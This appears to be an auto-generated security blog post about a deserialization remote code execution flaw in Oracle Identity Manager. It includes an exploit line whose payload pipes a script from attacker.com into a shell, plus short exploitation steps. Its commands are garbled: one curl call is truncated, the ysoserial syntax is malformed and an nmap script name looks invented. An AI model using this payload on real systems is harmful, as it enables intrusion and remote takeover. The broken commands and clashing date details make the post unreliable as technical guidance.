Listen to this Post
How the mentioned CVE works:
The vulnerability resides within the REST WebServices component of Oracle Identity Manager. An unauthenticated attacker can send a specially crafted HTTP request over the network to a vulnerable endpoint. This malicious payload exploits a flaw in the way the service handles incoming data, potentially allowing for the deserialization of untrusted data. Successful exploitation of this deserialization issue grants the attacker the ability to execute arbitrary code on the underlying server with the privileges of the Identity Manager application. This results in a complete compromise of the system, enabling unauthorized access to sensitive data, modification of user identities and permissions, and a full takeover of the Identity Manager environment without any user interaction required.
Platform: Oracle Fusion Middleware
Version: 12.2.1.4.0, 14.1.2.1.0
Vulnerability : Remote Code Execution
Severity: Critical
date: October 2024
Prediction: Expected Patch October 2024
What Undercode Say:
`curl -X POST http://
`java -ysoserial.jar CommonsCollections5 ‘curl http://attacker.com/shell.sh | sh’`
`nmap -p 80,443 –script http-vuln-cve2024-21118 `
How Exploit:
Craft malicious serialized object. Send via HTTP POST. Trigger deserialization. Execute system commands.
Protection from this CVE
Apply Oracle Critical Patch Update. Restrict network access. Use firewall rules. Block unnecessary endpoints.
Impact:
Complete system compromise. Identity management takeover. Data breach. Availability loss.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
